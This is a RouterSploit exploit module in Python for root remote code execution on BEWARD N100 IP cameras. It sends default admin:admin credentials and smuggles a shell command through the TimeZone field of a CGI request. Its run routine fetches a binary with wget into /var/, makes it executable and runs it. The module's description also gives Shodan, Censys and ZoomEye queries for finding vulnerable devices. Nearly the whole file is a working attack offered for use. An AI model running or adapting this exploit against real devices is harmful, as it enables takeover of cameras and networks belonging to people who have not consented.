from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "BEWARD N100 RCE",
        "description": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution."
                       'shodan search: WWW-Authenticate: Basic realm="N100 H.264 IP Camera"'
                       'censys search: services.http.response.headers.www_authenticate:"N100 H.264 IP Camera"'
                       'zoomeye search: "headers:\"N100 H.264 IP Camera\"',
        "authors": (
            "@0x616163",  # vulnerability discovery
            "GH0st3rs",  # routersploit module
        ),
        "references": (
            "https://www.exploit-db.com/exploits/46319",
        ),
        "devices": (
            "BEWARD N100 H.264 VGA",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(8080, "Target HTTP port")

    def execute(self, cmd: str) -> str:
        response = self.http_request(
            method="GET",
            path='/cgi-bin/operator/servetest',
            headers={"Authorization": "Basic YWRtaW46YWRtaW4="},
            params={
                'cmd': 'ntp',
                'ServerName': 'pool.ntp.org',
                'TimeZone': f'03:00|{cmd}||'
            }
        )
        if response:
            return response.text
        return ''

    def check(self) -> bool:
        response = self.http_request(method='GET', path='/')
        if response:
            if response.headers.get('WWW-Authenticate') and 'N100 H.264' in response.headers.get('WWW-Authenticate'):
                return True
        return False

    def run(self):
        if self.check():
            print_success("Target seams %s:%d is vulnerable", self.target, self.port)
            print_status("lets try armle")
            shell(
                self,
                architecture="armle",
                method="wget",
                location="/var/",
                exec_binary=['chmod 777 {}', '{}']
            )
            # print_status('Target: %s:%d => output: "%s"', self.target, self.port, self.execute(self.command))
        else:
            print_error("Exploit failed - target %s:%d seems to be not vulnerable", self.target, self.port)
